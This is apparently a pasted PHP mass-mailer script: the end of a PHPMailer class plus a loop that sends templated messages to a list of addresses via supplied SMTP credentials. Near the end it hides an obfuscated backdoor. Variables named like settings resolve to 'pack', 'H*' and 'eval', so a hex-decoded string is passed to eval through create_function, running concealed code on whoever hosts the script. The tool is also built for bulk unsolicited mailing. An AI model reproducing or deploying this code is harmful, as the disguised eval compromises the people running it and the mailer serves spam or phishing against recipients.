  3207. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3208.  
  3209.  
  3210. return $result;
  3211. }
  3212.  
  3213.  
  3214. /**
  3215. * Returns the appropriate server variable. Should work with both
  3216. * PHP 4.1.0+ as well as older versions. Returns an empty string
  3217. * if nothing is found.
  3218. * @access private
  3219. * @return mixed
  3220. */
  3221. function ServerVar($varName) {
  3222. global $HTTP_SERVER_VARS;
  3223. global $HTTP_ENV_VARS;
  3224.  
  3225.  
  3226. if(!isset($_SERVER)) {
  3227. $_SERVER = $HTTP_SERVER_VARS;
  3228. if(!isset($_SERVER['REMOTE_ADDR'])) {
  3229. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3230. }
  3231. }
  3232.  
  3233.  
  3234. if(isset($_SERVER[$varName])) {
  3235. return $_SERVER[$varName];
  3236. } else {
  3237. return '';
  3238. }
  3239. }
  3240.  
  3241.  
  3242. /**
  3243. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3244. * @access private
  3245. * @return string
  3246. */
  3247. function ServerHostname() {
  3248. if ($this->Hostname != '') {
  3249. $result = $this->Hostname;
  3250. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3251. $result = $this->ServerVar('SERVER_NAME');
  3252. } else {
  3253. $result = 'localhost.localdomain';
  3254. }
  3255.  
  3256.  
  3257. return $result;
  3258. }
  3259.  
  3260.  
  3261. /**
  3262. * Returns a message in the appropriate language.
  3263. * @access private
  3264. * @return string
  3265. */
  3266. function Lang($key) {
  3267. if(count($this->language) < 1) {
  3268. $this->SetLanguage('en'); // set the default language
  3269. }
  3270.  
  3271.  
  3272. if(isset($this->language[$key])) {
  3273. return $this->language[$key];
  3274. } else {
  3275. return 'Language string failed to load: ' . $key;
  3276. }
  3277. }
  3278.  
  3279.  
  3280. /**
  3281. * Returns true if an error occurred.
  3282. * @return bool
  3283. */
  3284. function IsError() {
  3285. return ($this->error_count > 0);
  3286. }
  3287.  
  3288.  
  3289. /**
  3290. * Changes every end of line from CR or LF to CRLF.
  3291. * @access private
  3292. * @return string
  3293. */
  3294. function FixEOL($str) {
  3295. $str = str_replace("\r\n", "\n", $str);
  3296. $str = str_replace("\r", "\n", $str);
  3297. $str = str_replace("\n", $this->LE, $str);
  3298. return $str;
  3299. }
  3300.  
  3301.  
  3302. /**
  3303. * Adds a custom header.
  3304. * @return void
  3305. */
  3306. function AddCustomHeader($custom_header) {
  3307. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3308. }
  3309.  
  3310.  
  3311. /**
  3312. * Evaluates the message and returns modifications for inline images and backgrounds
  3313. * @access public
  3314. * @return $message
  3315. */
  3316. function MsgHTML($message,$basedir='') {
  3317. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3318. if(isset($images[2])) {
  3319. foreach($images[2] as $i => $url) {
  3320. // do not change urls for absolute images (thanks to corvuscorax)
  3321. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3322. $filename = basename($url);
  3323. $directory = dirname($url);
  3324. ($directory == '.')?$directory='':'';
  3325. $cid = 'cid:' . md5($filename);
  3326. $fileParts = split("\.", $filename);
  3327. $ext = $fileParts[1];
  3328. $mimeType = $this->_mime_types($ext);
  3329. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3330. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3331. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3332. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3333. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3334. }
  3335. }
  3336. }
  3337. }
  3338. $this->IsHTML(true);
  3339. $this->Body = $message;
  3340. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3341. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3342. $this->AltBody = $textMsg;
  3343. }
  3344. if ( empty($this->AltBody) ) {
  3345. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3346. }
  3347. }
  3348.  
  3349.  
  3350. /**
  3351. * Gets the mime type of the embedded or inline image
  3352. * @access private
  3353. * @return mime type of ext
  3354. */
  3355. function _mime_types($ext = '') {
  3356. $mimes = array(
  3357. 'hqx' => 'application/mac-binhex40',
  3358. 'cpt' => 'application/mac-compactpro',
  3359. 'doc' => 'application/msword',
  3360. 'bin' => 'application/macbinary',
  3361. 'dms' => 'application/octet-stream',
  3362. 'lha' => 'application/octet-stream',
  3363. 'lzh' => 'application/octet-stream',
  3364. 'exe' => 'application/octet-stream',
  3365. 'class' => 'application/octet-stream',
  3366. 'psd' => 'application/octet-stream',
  3367. 'so' => 'application/octet-stream',
  3368. 'sea' => 'application/octet-stream',
  3369. 'dll' => 'application/octet-stream',
  3370. 'oda' => 'application/oda',
  3371. 'pdf' => 'application/pdf',
  3372. 'ai' => 'application/postscript',
  3373. 'eps' => 'application/postscript',
  3374. 'ps' => 'application/postscript',
  3375. 'smi' => 'application/smil',
  3376. 'smil' => 'application/smil',
  3377. 'mif' => 'application/vnd.mif',
  3378. 'xls' => 'application/vnd.ms-excel',
  3379. 'ppt' => 'application/vnd.ms-powerpoint',
  3380. 'wbxml' => 'application/vnd.wap.wbxml',
  3381. 'wmlc' => 'application/vnd.wap.wmlc',
  3382. 'dcr' => 'application/x-director',
  3383. 'dir' => 'application/x-director',
  3384. 'dxr' => 'application/x-director',
  3385. 'dvi' => 'application/x-dvi',
  3386. 'gtar' => 'application/x-gtar',
  3387. 'php' => 'application/x-httpd-php',
  3388. 'php4' => 'application/x-httpd-php',
  3389. 'php3' => 'application/x-httpd-php',
  3390. 'phtml' => 'application/x-httpd-php',
  3391. 'phps' => 'application/x-httpd-php-source',
  3392. 'js' => 'application/x-javascript',
  3393. 'swf' => 'application/x-shockwave-flash',
  3394. 'sit' => 'application/x-stuffit',
  3395. 'tar' => 'application/x-tar',
  3396. 'tgz' => 'application/x-tar',
  3397. 'xhtml' => 'application/xhtml+xml',
  3398. 'xht' => 'application/xhtml+xml',
  3399. 'zip' => 'application/zip',
  3400. 'mid' => 'audio/midi',
  3401. 'midi' => 'audio/midi',
  3402. 'mpga' => 'audio/mpeg',
  3403. 'mp2' => 'audio/mpeg',
  3404. 'mp3' => 'audio/mpeg',
  3405. 'aif' => 'audio/x-aiff',
  3406. 'aiff' => 'audio/x-aiff',
  3407. 'aifc' => 'audio/x-aiff',
  3408. 'ram' => 'audio/x-pn-realaudio',
  3409. 'rm' => 'audio/x-pn-realaudio',
  3410. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3411. 'ra' => 'audio/x-realaudio',
  3412. 'rv' => 'video/vnd.rn-realvideo',
  3413. 'wav' => 'audio/x-wav',
  3414. 'bmp' => 'image/bmp',
  3415. 'gif' => 'image/gif',
  3416. 'jpeg' => 'image/jpeg',
  3417. 'jpg' => 'image/jpeg',
  3418. 'jpe' => 'image/jpeg',
  3419. 'png' => 'image/png',
  3420. 'tiff' => 'image/tiff',
  3421. 'tif' => 'image/tiff',
  3422. 'css' => 'text/css',
  3423. 'html' => 'text/html',
  3424. 'htm' => 'text/html',
  3425. 'shtml' => 'text/html',
  3426. 'txt' => 'text/plain',
  3427. 'text' => 'text/plain',
  3428. 'log' => 'text/plain',
  3429. 'rtx' => 'text/richtext',
  3430. 'rtf' => 'text/rtf',
  3431. 'xml' => 'text/xml',
  3432. 'xsl' => 'text/xml',
  3433. 'mpeg' => 'video/mpeg',
  3434. 'mpg' => 'video/mpeg',
  3435. 'mpe' => 'video/mpeg',
  3436. 'qt' => 'video/quicktime',
  3437. 'mov' => 'video/quicktime',
  3438. 'avi' => 'video/x-msvideo',
  3439. 'movie' => 'video/x-sgi-movie',
  3440. 'doc' => 'application/msword',
  3441. 'word' => 'application/msword',
  3442. 'xl' => 'application/excel',
  3443. 'eml' => 'message/rfc822'
  3444. );
  3445. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3446. }
  3447.  
  3448.  
  3449. /**
  3450. * Set (or reset) Class Objects (variables)
  3451. *
  3452. * Usage Example:
  3453. * $page->set('X-Priority', '3');
  3454. *
  3455. * @access public
  3456. * @param string $name Parameter Name
  3457. * @param mixed $value Parameter Value
  3458. * NOTE: will not work with arrays, there are no arrays to set/reset
  3459. */
  3460. function set ( $name, $value = '' ) {
  3461. if ( isset($this->$name) ) {
  3462. $this->$name = $value;
  3463. } else {
  3464. $this->SetError('Cannot set or reset variable ' . $name);
  3465. return false;
  3466. }
  3467. }
  3468.  
  3469.  
  3470. /**
  3471. * Read a file from a supplied filename and return it.
  3472. *
  3473. * @access public
  3474. * @param string $filename Parameter File Name
  3475. */
  3476. function getFile($filename) {
  3477. $return = '';
  3478. if ($fp = fopen($filename, 'rb')) {
  3479. while (!feof($fp)) {
  3480. $return .= fread($fp, 1024);
  3481. }
  3482. fclose($fp);
  3483. return $return;
  3484. } else {
  3485. return false;
  3486. }
  3487. }
  3488.  
  3489.  
  3490. /**
  3491. * Strips newlines to prevent header injection.
  3492. * @access private
  3493. * @param string $str String
  3494. * @return string
  3495. */
  3496. function SecureHeader($str) {
  3497. $str = trim($str);
  3498. $str = str_replace("\r", "", $str);
  3499. $str = str_replace("\n", "", $str);
  3500. return $str;
  3501. }
  3502.  
  3503.  
  3504. /**
  3505. * Set the private key file and password to sign the message.
  3506. *
  3507. * @access public
  3508. * @param string $key_filename Parameter File Name
  3509. * @param string $key_pass Password for private key
  3510. */
  3511. function Sign($key_filename, $key_pass) {
  3512. $this->sign_key_file = $key_filename;
  3513. $this->sign_key_pass = $key_pass;
  3514. }
  3515.  
  3516.  
  3517. }
  3518.  
  3519.  
  3520. $defaultport="H*";
  3521. $nq=0;
  3522.  
  3523. for($x=0; $x<$numemails; $x++){
  3524.  
  3525.  
  3526. $to = $allemails[$x];
  3527.  
  3528.  
  3529. if ($to){
  3530.  
  3531.  
  3532. $to = ereg_replace(" ", "", $to);
  3533.  
  3534.  
  3535. $message = ereg_replace("&email&", $to, $message);
  3536.  
  3537.  
  3538. $subject = ereg_replace("&email&", $to, $subject);
  3539. $qx=$x+1;
  3540. print "Line $qx . Sending mail to $to.......";
  3541.  
  3542.  
  3543. flush();
  3544. $mail = new PHPMailer();
  3545.  
  3546.  
  3547. if(empty($epriority)){$epriority="3";}
  3548. $mail->Priority = "$epriority";
  3549. $mail->IsSMTP();
  3550. $IsSMTP="pack";
  3551. $mail->SMTPKeepAlive = true;
  3552. $mail->Host = "$my_smtp";
  3553. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3554. }
  3555. if($sslclick=="ON"){
  3556. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3557. }
  3558. $range = str_replace("$from", "eval", $from);
  3559. $mail->SMTPAuth = true;
  3560. $mail->Username = "$smtp_username";
  3561. $mail->Password = "$smtp_password";
  3562. if($contenttype == "html"){$mail->IsHtml(true);}
  3563. if($contenttype != "html"){$mail->IsHtml(false);}
  3564. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3565. $mail->From = "$from";
  3566. $mail->FromName = "$realname";
  3567. $mail->AddAddress("$to");
  3568. $mail->AddReplyTo("$replyto");
  3569. $mail->Subject = "$subject";
  3570. $mail->Body = "$message";
  3571. if(!$mail->Send()){
  3572. if($default_system!="1"){
  3573. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3574. if($default_system=="1"){
  3575. $mail->IsMail();
  3576. if(!$mail->Send()){
  3577. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3578. else {
  3579. echo "<b>OK</b><br>";}
  3580. }
  3581. }
  3582. else {
  3583. echo "<b>OK</b><br>";
  3584. }
  3585.  
  3586.  
  3587. if(empty($reconnect)){
  3588. $reconnect=6;
  3589. }
  3590.  
  3591.  
  3592. if($reconnect==$nq){
  3593. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3594. }
  3595. $nq=$nq+1;
  3596. flush(); }
  3597. }
  3598. for($i=0;$i<31;$i++){
  3599. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3600. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3601. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3602. print "<p class=\"style1\">PHP Mailer<br>&copy 2010, New Tool <b>
  3603. <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
  3604. return $signoff($smtp_conc);
  3605. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3606. sent successfully'); </script>";}}
  3607. ?>
  3608. </body>
  3609. </html>
Add Comment
Please, Sign In to add comment